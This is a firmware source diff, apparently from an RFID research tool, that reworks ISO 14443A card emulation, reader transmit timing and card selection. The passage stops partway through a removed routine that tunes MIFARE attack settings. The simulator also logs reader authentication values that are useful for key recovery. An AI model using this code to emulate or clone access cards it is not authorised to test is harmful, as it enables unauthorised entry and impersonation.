//-----------------------------------------------------------------------------
byte_t oddparity (const byte_t bt)
{
- return OddByteParity[bt];
+ return OddByteParity[bt];
}
uint32_t GetParity(const uint8_t * pbtCmd, int iLen)
{
- int i;
- uint32_t dwPar = 0;
+ int i;
+ uint32_t dwPar = 0;
- // Generate the encrypted data
- for (i = 0; i < iLen; i++) {
- // Save the encrypted parity bit
- dwPar |= ((OddByteParity[pbtCmd[i]]) << i);
- }
- return dwPar;
+ // Generate the encrypted data
+ for (i = 0; i < iLen; i++) {
+ // Save the encrypted parity bit
+ dwPar |= ((OddByteParity[pbtCmd[i]]) << i);
+ }
+ return dwPar;
}
void AppendCrc14443a(uint8_t* data, int len)
{
- ComputeCrc14443(CRC_14443_A,data,len,data+len,data+len+1);
+ ComputeCrc14443(CRC_14443_A,data,len,data+len,data+len+1);
}
// The function LogTrace() is also used by the iClass implementation in iClass.c
LEDsoff();
// init trace buffer
- iso14a_clear_trace();
+ iso14a_clear_trace();
// We won't start recording the frames that we acquire until we trigger;
// a good trigger condition to get started is probably when we see a
CodeIso14443aAsTagPar(cmd, len, GetParity(cmd, len));
}
-//-----------------------------------------------------------------------------
-// This is to send a NACK kind of answer, its only 3 bits, I know it should be 4
-//-----------------------------------------------------------------------------
-static void CodeStrangeAnswerAsTag()
-{
- int i;
-
- ToSendReset();
-
- // Correction bit, might be removed when not needed
- ToSendStuffBit(0);
- ToSendStuffBit(0);
- ToSendStuffBit(0);
- ToSendStuffBit(0);
- ToSendStuffBit(1); // 1
- ToSendStuffBit(0);
- ToSendStuffBit(0);
- ToSendStuffBit(0);
-
- // Send startbit
- ToSend[++ToSendMax] = SEC_D;
-
- // 0
- ToSend[++ToSendMax] = SEC_E;
-
- // 0
- ToSend[++ToSendMax] = SEC_E;
-
- // 1
- ToSend[++ToSendMax] = SEC_D;
-
- // Send stopbit
- ToSend[++ToSendMax] = SEC_F;
-
- // Flush the buffer in FPGA!!
- for(i = 0; i < 5; i++) {
- ToSend[++ToSendMax] = SEC_F;
- }
-
- // Convert from last byte pos to length
- ToSendMax++;
-}
+////-----------------------------------------------------------------------------
+//// This is to send a NACK kind of answer, its only 3 bits, I know it should be 4
+////-----------------------------------------------------------------------------
+//static void CodeStrangeAnswerAsTag()
+//{
+// int i;
+//
+// ToSendReset();
+//
+// // Correction bit, might be removed when not needed
+// ToSendStuffBit(0);
+// ToSendStuffBit(0);
+// ToSendStuffBit(0);
+// ToSendStuffBit(0);
+// ToSendStuffBit(1); // 1
+// ToSendStuffBit(0);
+// ToSendStuffBit(0);
+// ToSendStuffBit(0);
+//
+// // Send startbit
+// ToSend[++ToSendMax] = SEC_D;
+//
+// // 0
+// ToSend[++ToSendMax] = SEC_E;
+//
+// // 0
+// ToSend[++ToSendMax] = SEC_E;
+//
+// // 1
+// ToSend[++ToSendMax] = SEC_D;
+//
+// // Send stopbit
+// ToSend[++ToSendMax] = SEC_F;
+//
+// // Flush the buffer in FPGA!!
+// for(i = 0; i < 5; i++) {
+// ToSend[++ToSendMax] = SEC_F;
+// }
+//
+// // Convert from last byte pos to length
+// ToSendMax++;
+//}
static void Code4bitAnswerAsTag(uint8_t cmd)
{
int i;
- ToSendReset();
+ ToSendReset();
// Correction bit, might be removed when not needed
ToSendStuffBit(0);
ToSend[++ToSendMax] = SEC_F;
}
- // Convert from last byte pos to length
- ToSendMax++;
+ // Convert from last byte pos to length
+ ToSendMax++;
}
//-----------------------------------------------------------------------------
int EmSendCmd(uint8_t *resp, int respLen);
int EmSendCmdPar(uint8_t *resp, int respLen, uint32_t par);
+static uint8_t* free_buffer_pointer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);
+
+typedef struct {
+ uint8_t* response;
+ size_t response_n;
+ uint8_t* modulation;
+ size_t modulation_n;
+} tag_response_info_t;
+
+void reset_free_buffer() {
+ free_buffer_pointer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);
+}
+
+bool prepare_tag_modulation(tag_response_info_t* response_info, size_t max_buffer_size) {
+ // Exmaple response, answer to MIFARE Classic read block will be 16 bytes + 2 CRC = 18 bytes
+ // This will need the following byte array for a modulation sequence
+ // 144 data bits (18 * 8)
+ // 18 parity bits
+ // 2 Start and stop
+ // 1 Correction bit (Answer in 1172 or 1236 periods, see FPGA)
+ // 1 just for the case
+ // ----------- +
+ // 166 bytes, since every bit that needs to be send costs us a byte
+ //
+
+ // Prepare the tag modulation bits from the message
+ CodeIso14443aAsTag(response_info->response,response_info->response_n);
+
+ // Make sure we do not exceed the free buffer space
+ if (ToSendMax > max_buffer_size) {
+ Dbprintf("Out of memory, when modulating bits for tag answer:");
+ Dbhexdump(response_info->response_n,response_info->response,false);
+ return false;
+ }
+
+ // Copy the byte array, used for this modulation to the buffer position
+ memcpy(response_info->modulation,ToSend,ToSendMax);
+
+ // Store the number of bytes that were used for encoding/modulation
+ response_info->modulation_n = ToSendMax;
+
+ return true;
+}
+
+bool prepare_allocated_tag_modulation(tag_response_info_t* response_info) {
+ // Retrieve and store the current buffer index
+ response_info->modulation = free_buffer_pointer;
+
+ // Determine the maximum size we can use from our buffer
+ size_t max_buffer_size = (((uint8_t *)BigBuf)+FREE_BUFFER_OFFSET+FREE_BUFFER_SIZE)-free_buffer_pointer;
+
+ // Forward the prepare tag modulation function to the inner function
+ if (prepare_tag_modulation(response_info,max_buffer_size)) {
+ // Update the free buffer offset
+ free_buffer_pointer += ToSendMax;
+ return true;
+ } else {
+ return false;
+ }
+}
+
//-----------------------------------------------------------------------------
// Main loop of simulated tag: receive commands from reader, decide what
// response to send, and send it.
//-----------------------------------------------------------------------------
void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd, byte_t* data)
{
- // Enable and clear the trace
+ // Enable and clear the trace
tracing = TRUE;
- iso14a_clear_trace();
+ iso14a_clear_trace();
// This function contains the tag emulation
uint8_t sak;
ComputeCrc14443(CRC_14443_A, response3a, 1, &response3a[1], &response3a[2]);
uint8_t response5[] = { 0x00, 0x00, 0x00, 0x00 }; // Very random tag nonce
- uint8_t response6[] = { 0x03, 0x3B, 0x00, 0x00, 0x00 }; // dummy ATS (pseudo-ATR), answer to RATS
- ComputeCrc14443(CRC_14443_A, response6, 3, &response6[3], &response6[4]);
-
- uint8_t *resp = NULL;
- int respLen;
-
- // Longest possible response will be 16 bytes + 2 CRC = 18 bytes
- // This will need
- // 144 data bits (18 * 8)
- // 18 parity bits
- // 2 Start and stop
- // 1 Correction bit (Answer in 1172 or 1236 periods, see FPGA)
- // 1 just for the case
- // ----------- +
- // 166
- //
- // 166 bytes, since every bit that needs to be send costs us a byte
- //
-
- // Respond with card type
- uint8_t *resp1 = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);
- int resp1Len;
-
- // Anticollision cascade1 - respond with uid
- uint8_t *resp2 = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET + 166);
- int resp2Len;
-
- // Anticollision cascade2 - respond with 2nd half of uid if asked
- // we're only going to be asked if we set the 1st byte of the UID (during cascade1) to 0x88
- uint8_t *resp2a = (((uint8_t *)BigBuf) + 1140);
- int resp2aLen;
-
- // Acknowledge select - cascade 1
- uint8_t *resp3 = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET + (166*2));
- int resp3Len;
-
- // Acknowledge select - cascade 2
- uint8_t *resp3a = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET + (166*3));
- int resp3aLen;
-
- // Response to a read request - not implemented atm
- uint8_t *resp4 = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET + (166*4));
-// int resp4Len;
-
- // Authenticate response - nonce
- uint8_t *resp5 = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET + (166*5));
- int resp5Len;
-
- // Authenticate response - nonce
- uint8_t *resp6 = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET + (166*6));
- int resp6Len;
+ uint8_t response6[] = { 0x04, 0x58, 0x00, 0x02, 0x00, 0x00 }; // dummy ATS (pseudo-ATR), answer to RATS
+ ComputeCrc14443(CRC_14443_A, response6, 4, &response6[4], &response6[5]);
+
+ #define TAG_RESPONSE_COUNT 7
+ tag_response_info_t responses[TAG_RESPONSE_COUNT] = {
+ { .response = response1, .response_n = sizeof(response1) }, // Answer to request - respond with card type
+ { .response = response2, .response_n = sizeof(response2) }, // Anticollision cascade1 - respond with uid
+ { .response = response2a, .response_n = sizeof(response2a) }, // Anticollision cascade2 - respond with 2nd half of uid if asked
+ { .response = response3, .response_n = sizeof(response3) }, // Acknowledge select - cascade 1
+ { .response = response3a, .response_n = sizeof(response3a) }, // Acknowledge select - cascade 2
+ { .response = response5, .response_n = sizeof(response5) }, // Authentication answer (random nonce)
+ { .response = response6, .response_n = sizeof(response6) }, // dummy ATS (pseudo-ATR), answer to RATS
+ };
+
+ // Allocate 512 bytes for the dynamic modulation, created when the reader querries for it
+ // Such a response is less time critical, so we can prepare them on the fly
+ #define DYNAMIC_RESPONSE_BUFFER_SIZE 64
+ #define DYNAMIC_MODULATION_BUFFER_SIZE 512
+ uint8_t dynamic_response_buffer[DYNAMIC_RESPONSE_BUFFER_SIZE];
+ uint8_t dynamic_modulation_buffer[DYNAMIC_MODULATION_BUFFER_SIZE];
+ tag_response_info_t dynamic_response_info = {
+ .response = dynamic_response_buffer,
+ .response_n = 0,
+ .modulation = dynamic_modulation_buffer,
+ .modulation_n = 0
+ };
+
+ // Reset the offset pointer of the free buffer
+ reset_free_buffer();
+
+ // Prepare the responses of the anticollision phase
+ // there will be not enough time to do this at the moment the reader sends it REQA
+ for (size_t i=0; i<TAG_RESPONSE_COUNT; i++) {
+ prepare_allocated_tag_modulation(&responses[i]);
+ }
uint8_t *receivedCmd = (((uint8_t *)BigBuf) + RECV_CMD_OFFSET);
int len;
// Just to allow some checks
int happened = 0;
int happened2 = 0;
-
int cmdsRecvd = 0;
- uint8_t* respdata = NULL;
- int respsize = 0;
-// uint8_t nack = 0x04;
-
- memset(receivedCmd, 0x44, RECV_CMD_SIZE);
-
- // Prepare the responses of the anticollision phase
- // there will be not enough time to do this at the moment the reader sends it REQA
-
- // Answer to request
- CodeIso14443aAsTag(response1, sizeof(response1));
- memcpy(resp1, ToSend, ToSendMax); resp1Len = ToSendMax;
-
- // Send our UID (cascade 1)
- CodeIso14443aAsTag(response2, sizeof(response2));
- memcpy(resp2, ToSend, ToSendMax); resp2Len = ToSendMax;
-
- // Answer to select (cascade1)
- CodeIso14443aAsTag(response3, sizeof(response3));
- memcpy(resp3, ToSend, ToSendMax); resp3Len = ToSendMax;
-
- // Send the cascade 2 2nd part of the uid
- CodeIso14443aAsTag(response2a, sizeof(response2a));
- memcpy(resp2a, ToSend, ToSendMax); resp2aLen = ToSendMax;
-
- // Answer to select (cascade 2)
- CodeIso14443aAsTag(response3a, sizeof(response3a));
- memcpy(resp3a, ToSend, ToSendMax); resp3aLen = ToSendMax;
-
- // Strange answer is an example of rare message size (3 bits)
- CodeStrangeAnswerAsTag();
- memcpy(resp4, ToSend, ToSendMax);// resp4Len = ToSendMax;
-
- // Authentication answer (random nonce)
- CodeIso14443aAsTag(response5, sizeof(response5));
- memcpy(resp5, ToSend, ToSendMax); resp5Len = ToSendMax;
-
- // dummy ATS (pseudo-ATR), answer to RATS
- CodeIso14443aAsTag(response6, sizeof(response6));
- memcpy(resp6, ToSend, ToSendMax); resp6Len = ToSendMax;
// We need to listen to the high-frequency, peak-detected path.
SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
FpgaSetupSsc();
cmdsRecvd = 0;
+ tag_response_info_t* p_response;
LED_A_ON();
for(;;) {
+ // Clean receive command buffer
+ memset(receivedCmd, 0x44, RECV_CMD_SIZE);
if(!GetIso14443aCommandFromReader(receivedCmd, &len, RECV_CMD_SIZE)) {
- DbpString("button press");
+ DbpString("Button press");
break;
}
- if (tracing) {
+ if (tracing) {
LogTrace(receivedCmd,len, 0, Uart.parityBits, TRUE);
- }
+ }
+
+ p_response = NULL;
// doob - added loads of debug strings so we can see what the reader is saying to us during the sim as hi14alist is not populated
// Okay, look at the command now.
lastorder = order;
if(receivedCmd[0] == 0x26) { // Received a REQUEST
- resp = resp1; respLen = resp1Len; order = 1;
- respdata = response1;
- respsize = sizeof(response1);
+ p_response = &responses[0]; order = 1;
} else if(receivedCmd[0] == 0x52) { // Received a WAKEUP
- resp = resp1; respLen = resp1Len; order = 6;
- respdata = response1;
- respsize = sizeof(response1);
+ p_response = &responses[0]; order = 6;
} else if(receivedCmd[1] == 0x20 && receivedCmd[0] == 0x93) { // Received request for UID (cascade 1)
- resp = resp2; respLen = resp2Len; order = 2;
- respdata = response2;
- respsize = sizeof(response2);
+ p_response = &responses[1]; order = 2;
} else if(receivedCmd[1] == 0x20 && receivedCmd[0] == 0x95) { // Received request for UID (cascade 2)
- resp = resp2a; respLen = resp2aLen; order = 20;
- respdata = response2a;
- respsize = sizeof(response2a);
+ p_response = &responses[2]; order = 20;
} else if(receivedCmd[1] == 0x70 && receivedCmd[0] == 0x93) { // Received a SELECT (cascade 1)
- resp = resp3; respLen = resp3Len; order = 3;
- respdata = response3;
- respsize = sizeof(response3);
+ p_response = &responses[3]; order = 3;
} else if(receivedCmd[1] == 0x70 && receivedCmd[0] == 0x95) { // Received a SELECT (cascade 2)
- resp = resp3a; respLen = resp3aLen; order = 30;
- respdata = response3a;
- respsize = sizeof(response3a);
+ p_response = &responses[4]; order = 30;
} else if(receivedCmd[0] == 0x30) { // Received a (plain) READ
-// resp = resp4; respLen = resp4Len; order = 4; // Do nothing
-// respdata = &nack;
-// respsize = sizeof(nack); // 4-bit answer
- EmSendCmdEx(data+(4*receivedCmd[0]),16,false);
+ EmSendCmdEx(data+(4*receivedCmd[0]),16,false);
Dbprintf("Read request from reader: %x %x",receivedCmd[0],receivedCmd[1]);
- // We already responded, do not send anything with the EmSendCmd14443aRaw() that is called below
- respLen = 0;
+ // We already responded, do not send anything with the EmSendCmd14443aRaw() that is called below
+ p_response = NULL;
} else if(receivedCmd[0] == 0x50) { // Received a HALT
// DbpString("Reader requested we HALT!:");
- // Do not respond
- resp = resp1; respLen = 0; order = 0;
- respdata = NULL;
- respsize = 0;
+ p_response = NULL;
} else if(receivedCmd[0] == 0x60 || receivedCmd[0] == 0x61) { // Received an authentication request
- resp = resp5; respLen = resp5Len; order = 7;
- respdata = response5;
- respsize = sizeof(response5);
+ p_response = &responses[5]; order = 7;
} else if(receivedCmd[0] == 0xE0) { // Received a RATS request
- resp = resp6; respLen = resp6Len; order = 70;
- respdata = response6;
- respsize = sizeof(response6);
- } else {
- if (order == 7 && len ==8) {
- uint32_t nr = bytes_to_num(receivedCmd,4);
- uint32_t ar = bytes_to_num(receivedCmd+4,4);
- Dbprintf("Auth attempt {nr}{ar}: %08x %08x",nr,ar);
- } else {
- // Never seen this command before
- Dbprintf("Received unknown command (len=%d):",len);
- Dbhexdump(len,receivedCmd,false);
+ p_response = &responses[6]; order = 70;
+ } else if (order == 7 && len ==8) { // Received authentication request
+ uint32_t nr = bytes_to_num(receivedCmd,4);
+ uint32_t ar = bytes_to_num(receivedCmd+4,4);
+ Dbprintf("Auth attempt {nr}{ar}: %08x %08x",nr,ar);
+ } else {
+ // Check for ISO 14443A-4 compliant commands, look at left nibble
+ switch (receivedCmd[0]) {
+
+ case 0x0B:
+ case 0x0A: { // IBlock (command)
+ dynamic_response_info.response[0] = receivedCmd[0];
+ dynamic_response_info.response[1] = 0x00;
+ dynamic_response_info.response[2] = 0x90;
+ dynamic_response_info.response[3] = 0x00;
+ dynamic_response_info.response_n = 4;
+ } break;
+
+ case 0x1A:
+ case 0x1B: { // Chaining command
+ dynamic_response_info.response[0] = 0xaa | ((receivedCmd[0]) & 1);
+ dynamic_response_info.response_n = 2;
+ } break;
+
+ case 0xaa:
+ case 0xbb: {
+ dynamic_response_info.response[0] = receivedCmd[0] ^ 0x11;
+ dynamic_response_info.response_n = 2;
+ } break;
+
+ case 0xBA: { //
+ memcpy(dynamic_response_info.response,"\xAB\x00",2);
+ dynamic_response_info.response_n = 2;
+ } break;
+
+ case 0xCA:
+ case 0xC2: { // Readers sends deselect command
+ memcpy(dynamic_response_info.response,"\xCA\x00",2);
+ dynamic_response_info.response_n = 2;
+ } break;
+
+ default: {
+ // Never seen this command before
+ Dbprintf("Received unknown command (len=%d):",len);
+ Dbhexdump(len,receivedCmd,false);
+ // Do not respond
+ dynamic_response_info.response_n = 0;
+ } break;
+ }
+
+ if (dynamic_response_info.response_n > 0) {
+ // Copy the CID from the reader query
+ dynamic_response_info.response[1] = receivedCmd[1];
+
+ // Add CRC bytes, always used in ISO 14443A-4 compliant cards
+ AppendCrc14443a(dynamic_response_info.response,dynamic_response_info.response_n);
+ dynamic_response_info.response_n += 2;
+
+ if (prepare_tag_modulation(&dynamic_response_info,DYNAMIC_MODULATION_BUFFER_SIZE) == false) {
+ Dbprintf("Error preparing tag response");
+ break;
+ }
+ p_response = &dynamic_response_info;
}
- // Do not respond
- resp = resp1; respLen = 0; order = 0;
- respdata = NULL;
- respsize = 0;
}
// Count number of wakeups received after a halt
if(cmdsRecvd > 999) {
DbpString("1000 commands later...");
break;
- } else {
- cmdsRecvd++;
- }
-
- if(respLen > 0) {
- EmSendCmd14443aRaw(resp, respLen, receivedCmd[0] == 0x52);
}
-
- if (tracing) {
- if (respdata != NULL) {
- LogTrace(respdata,respsize, 0, SwapBits(GetParity(respdata,respsize),respsize), FALSE);
- }
- if(traceLen > TRACE_SIZE) {
- DbpString("Trace full");
- break;
- }
- }
-
- memset(receivedCmd, 0x44, RECV_CMD_SIZE);
+ cmdsRecvd++;
+
+ if (p_response != NULL) {
+ EmSendCmd14443aRaw(p_response->modulation, p_response->modulation_n, receivedCmd[0] == 0x52);
+ if (tracing) {
+ LogTrace(p_response->response,p_response->response_n,0,SwapBits(GetParity(p_response->response,p_response->response_n),p_response->response_n),FALSE);
+ if(traceLen > TRACE_SIZE) {
+ DbpString("Trace full");
+// break;
+ }
+ }
+ }
}
Dbprintf("%x %x %x", happened, happened2, cmdsRecvd);
LED_A_OFF();
}
+
+// prepare a delayed transfer. This simply shifts ToSend[] by a number
+// of bits specified in the delay parameter.
+void PrepareDelayedTransfer(uint16_t delay)
+{
+ uint8_t bitmask = 0;
+ uint8_t bits_to_shift = 0;
+ uint8_t bits_shifted = 0;
+
+ delay &= 0x07;
+ if (delay) {
+ for (uint16_t i = 0; i < delay; i++) {
+ bitmask |= (0x01 << i);
+ }
+ ToSend[++ToSendMax] = 0x00;
+ for (uint16_t i = 0; i < ToSendMax; i++) {
+ bits_to_shift = ToSend[i] & bitmask;
+ ToSend[i] = ToSend[i] >> delay;
+ ToSend[i] = ToSend[i] | (bits_shifted << (8 - delay));
+ bits_shifted = bits_to_shift;
+ }
+ }
+}
+
//-----------------------------------------------------------------------------
// Transmit the command (to the tag) that was placed in ToSend[].
+// Parameter timing:
+// if NULL: ignored
+// if == 0: return time of transfer
+// if != 0: delay transfer until time specified
//-----------------------------------------------------------------------------
-static void TransmitFor14443a(const uint8_t *cmd, int len, int *samples, int *wait)
+static void TransmitFor14443a(const uint8_t *cmd, int len, uint32_t *timing)
{
- int c;
+ int c;
- FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
+ FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
- if (wait)
- if(*wait < 10)
- *wait = 10;
- for(c = 0; c < *wait;) {
- if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
- AT91C_BASE_SSC->SSC_THR = 0x00; // For exact timing!
- c++;
- }
- if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
- volatile uint32_t r = AT91C_BASE_SSC->SSC_RHR;
- (void)r;
- }
- WDT_HIT();
- }
+ if (timing) {
+ if(*timing == 0) { // Measure time
+ *timing = (GetCountMifare() + 8) & 0xfffffff8;
+ } else {
+ PrepareDelayedTransfer(*timing & 0x00000007); // Delay transfer (fine tuning - up to 7 MF clock ticks)
+ }
+ if(MF_DBGLEVEL >= 4 && GetCountMifare() >= (*timing & 0xfffffff8)) Dbprintf("TransmitFor14443a: Missed timing");
+ while(GetCountMifare() < (*timing & 0xfffffff8)); // Delay transfer (multiple of 8 MF clock ticks)
+ }
+
+ for(c = 0; c < 10;) { // standard delay for each transfer (allow tag to be ready after last transmission)
+ if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
+ AT91C_BASE_SSC->SSC_THR = 0x00;
+ c++;
+ }
+ }
+
+ c = 0;
+ for(;;) {
+ if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
+ AT91C_BASE_SSC->SSC_THR = cmd[c];
+ c++;
+ if(c >= len) {
+ break;
+ }
+ }
+ }
- c = 0;
- for(;;) {
- if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
- AT91C_BASE_SSC->SSC_THR = cmd[c];
- c++;
- if(c >= len) {
- break;
- }
- }
- if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
- volatile uint32_t r = AT91C_BASE_SSC->SSC_RHR;
- (void)r;
- }
- WDT_HIT();
- }
- if (samples) *samples = (c + *wait) << 3;
}
//-----------------------------------------------------------------------------
// Signal field is on with the appropriate LED
LED_D_ON();
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN);
-
+
// Now get the answer from the card
Demod.output = receivedResponse;
Demod.len = 0;
for(;;) {
WDT_HIT();
- if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
- AT91C_BASE_SSC->SSC_THR = 0x00; // To make use of exact timing of next command from reader!!
- if (elapsed) (*elapsed)++;
- }
+ // if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
+ // AT91C_BASE_SSC->SSC_THR = 0x00; // To make use of exact timing of next command from reader!!
+ // if (elapsed) (*elapsed)++;
+ // }
if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
if(c < iso14a_timeout) { c++; } else { return FALSE; }
b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
}
}
-void ReaderTransmitBitsPar(uint8_t* frame, int bits, uint32_t par)
+void ReaderTransmitBitsPar(uint8_t* frame, int bits, uint32_t par, uint32_t *timing)
{
- int wait = 0;
- int samples = 0;
-
- // This is tied to other size changes
- // uint8_t* frame_addr = ((uint8_t*)BigBuf) + 2024;
+
CodeIso14443aBitsAsReaderPar(frame,bits,par);
// Select the card
- TransmitFor14443a(ToSend, ToSendMax, &samples, &wait);
+ TransmitFor14443a(ToSend, ToSendMax, timing);
if(trigger)
LED_A_ON();
if (tracing) LogTrace(frame,nbytes(bits),0,par,TRUE);
}
-void ReaderTransmitPar(uint8_t* frame, int len, uint32_t par)
+void ReaderTransmitPar(uint8_t* frame, int len, uint32_t par, uint32_t *timing)
{
- ReaderTransmitBitsPar(frame,len*8,par);
+ ReaderTransmitBitsPar(frame,len*8,par, timing);
}
-void ReaderTransmit(uint8_t* frame, int len)
+void ReaderTransmit(uint8_t* frame, int len, uint32_t *timing)
{
// Generate parity and redirect
- ReaderTransmitBitsPar(frame,len*8,GetParity(frame,len));
+ ReaderTransmitBitsPar(frame,len*8,GetParity(frame,len), timing);
}
int ReaderReceive(uint8_t* receivedAnswer)
int len;
// Broadcast for a card, WUPA (0x52) will force response from all cards in the field
- ReaderTransmitBitsPar(wupa,7,0);
+ ReaderTransmitBitsPar(wupa,7,0, NULL);
// Receive the ATQA
if(!ReaderReceive(resp)) return 0;
// Dbprintf("atqa: %02x %02x",resp[0],resp[1]);
-
+
if(p_hi14a_card) {
memcpy(p_hi14a_card->atqa, resp, 2);
p_hi14a_card->uidlen = 0;
memset(p_hi14a_card->uid,0,10);
}
-
+
// clear uid
if (uid_ptr) {
- memset(uid_ptr,0,8);
+ memset(uid_ptr,0,10);
}
// OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in
sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2;
// SELECT_ALL
- ReaderTransmit(sel_all,sizeof(sel_all));
+ ReaderTransmit(sel_all,sizeof(sel_all), NULL);
if (!ReaderReceive(resp)) return 0;
-
+
// First backup the current uid
memcpy(uid_resp,resp,4);
uid_resp_len = 4;
// Dbprintf("uid: %02x %02x %02x %02x",uid_resp[0],uid_resp[1],uid_resp[2],uid_resp[3]);
-
- // calculate crypto UID
- if(cuid_ptr) {
- *cuid_ptr = bytes_to_num(uid_resp, 4);
+
+ // calculate crypto UID. Always use last 4 Bytes.
+ if(cuid_ptr) {
+ *cuid_ptr = bytes_to_num(uid_resp, 4);
}
// Construct SELECT UID command
- memcpy(sel_uid+2,resp,5);
+ memcpy(sel_uid+2,resp,5);
AppendCrc14443a(sel_uid,7);
- ReaderTransmit(sel_uid,sizeof(sel_uid));
+ ReaderTransmit(sel_uid,sizeof(sel_uid), NULL);
// Receive the SAK
if (!ReaderReceive(resp)) return 0;
memcpy(uid_resp, uid_resp + 1, 3);
uid_resp_len = 3;
}
-
+
if(uid_ptr) {
memcpy(uid_ptr + (cascade_level*3), uid_resp, uid_resp_len);
}
-
+
if(p_hi14a_card) {
memcpy(p_hi14a_card->uid + (cascade_level*3), uid_resp, uid_resp_len);
p_hi14a_card->uidlen += uid_resp_len;
// Request for answer to select
AppendCrc14443a(rats, 2);
- ReaderTransmit(rats, sizeof(rats));
-
+ ReaderTransmit(rats, sizeof(rats), NULL);
+
if (!(len = ReaderReceive(resp))) return 0;
if(p_hi14a_card) {
memcpy(p_hi14a_card->ats, resp, sizeof(p_hi14a_card->ats));
p_hi14a_card->ats_len = len;
}
-
+
// reset the PCB block number
iso14_pcb_blocknum = 0;
return 1;
}
void iso14443a_setup() {
- // Set up the synchronous serial port
- FpgaSetupSsc();
+ // Set up the synchronous serial port
+ FpgaSetupSsc();
// Start from off (no field generated)
// Signal field is off with the appropriate LED
- LED_D_OFF();
- FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
- SpinDelay(50);
+// LED_D_OFF();
+// FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+ // SpinDelay(50);
SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
// Signal field is on with the appropriate LED
LED_D_ON();
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
- SpinDelay(50);
+ SpinDelay(7); // iso14443-3 specifies 5ms max.
iso14a_timeout = 2048; //default
}
memcpy(real_cmd+2, cmd, cmd_len);
AppendCrc14443a(real_cmd,cmd_len+2);
- ReaderTransmit(real_cmd, cmd_len+4);
+ ReaderTransmit(real_cmd, cmd_len+4, NULL);
size_t len = ReaderReceive(data);
uint8_t * data_bytes = (uint8_t *) data;
if (!len)
iso14a_command_t param = c->arg[0];
uint8_t * cmd = c->d.asBytes;
size_t len = c->arg[1];
- uint32_t arg0 = 0;
- byte_t buf[USB_CMD_DATA_SIZE];
+ size_t lenbits = c->arg[2];
+ uint32_t arg0 = 0;
+ byte_t buf[USB_CMD_DATA_SIZE];
- iso14a_clear_trace();
- iso14a_set_tracing(true);
+ if(param & ISO14A_CONNECT) {
+ iso14a_clear_trace();
+ }
+ iso14a_set_tracing(true);
if(param & ISO14A_REQUEST_TRIGGER) {
- iso14a_set_trigger(1);
- }
+ iso14a_set_trigger(1);
+ }
if(param & ISO14A_CONNECT) {
iso14443a_setup();
- arg0 = iso14443a_select_card(NULL,(iso14a_card_select_t*)buf,NULL);
- cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(iso14a_card_select_t));
-// UsbSendPacket((void *)ack, sizeof(UsbCommand));
+ if(!(param & ISO14A_NO_SELECT)) {
+ iso14a_card_select_t *card = (iso14a_card_select_t*)buf;
+ arg0 = iso14443a_select_card(NULL,card,NULL);
+ cmd_send(CMD_ACK,arg0,card->uidlen,0,buf,sizeof(iso14a_card_select_t));
+ }
}
if(param & ISO14A_SET_TIMEOUT) {
if(param & ISO14A_APDU) {
arg0 = iso14_apdu(cmd, len, buf);
cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf));
-// UsbSendPacket((void *)ack, sizeof(UsbCommand));
}
if(param & ISO14A_RAW) {
AppendCrc14443a(cmd,len);
len += 2;
}
- ReaderTransmit(cmd,len);
+ if(lenbits>0) {
+ ReaderTransmitBitsPar(cmd,lenbits,GetParity(cmd,lenbits/8), NULL);
+ } else {
+ ReaderTransmit(cmd,len, NULL);
+ }
arg0 = ReaderReceive(buf);
-// UsbSendPacket((void *)ack, sizeof(UsbCommand));
- cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf));
+ cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf));
}
if(param & ISO14A_REQUEST_TRIGGER) {
- iso14a_set_trigger(0);
- }
+ iso14a_set_trigger(0);
+ }
if(param & ISO14A_NO_DISCONNECT) {
return;
- }
+ }
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();
}
-#define TEST_LENGTH 100
-typedef struct mftest{
- uint8_t nt[8];
- uint8_t count;
-}mftest ;
-
-/**
- *@brief Tunes the mifare attack settings. This method checks the nonce entropy when
- *using a specified timeout.
- *Different cards behave differently, some cards require up to a second to power down (and thus reset
- *token generator), other cards are fine with 50 ms.
- *
- * @param time
- * @return the entropy. A value of 100 (%) means that every nonce was unique, while a value close to
- *zero indicates a low entropy: the given timeout is sufficient to power down the card.
- */
-int TuneMifare(int time)
-{
- // Mifare AUTH
- uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b };
